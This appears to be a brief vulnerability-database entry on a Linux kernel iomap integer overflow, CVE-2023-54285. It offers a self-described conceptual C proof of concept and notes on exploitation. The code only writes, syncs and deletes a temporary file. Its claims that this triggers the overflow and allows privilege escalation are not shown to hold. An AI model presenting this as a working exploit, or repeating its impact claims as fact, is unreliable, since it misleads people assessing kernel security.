CVE-2023-54285 Linux内核iomap_write_delalloc_scan整数溢出漏洞

// PoC for CVE-2023-54285 - Integer overflow in iomap_write_delalloc_scan // This is a conceptual PoC demonstrating the vulnerable code path #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> /* * Vulnerable code pattern (before fix): * unsigned long index = folio_next_index(folio); * unsigned long end = index << PAGE_SHIFT; // Potential overflow on 32-bit * * Fixed code pattern: * unsigned long end = folio_pos(folio) + folio_size(folio); // Safe calculation */ int main() { const char *test_file = "/tmp/test_iomap_overflow"; int fd; char buffer[8192]; // Create a test file fd = open(test_file, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("Failed to create test file"); return 1; } // Write data to trigger delalloc write path memset(buffer, 'A', sizeof(buffer)); for (int i = 0; i < 100; i++) { write(fd, buffer, sizeof(buffer)); } // Force sync to trigger iomap_write_delalloc_scan fsync(fd); close(fd); unlink(test_file); printf("Test completed - check system logs for any overflow warnings\n"); return 0; } /* * Exploitation notes: * - Requires local access with low privileges * - Target: 32-bit Linux systems with vulnerable kernel versions * - Trigger: File operations that go through iomap (e.g., ext4, xfs) * - Impact: Memory corruption, potential privilege escalation */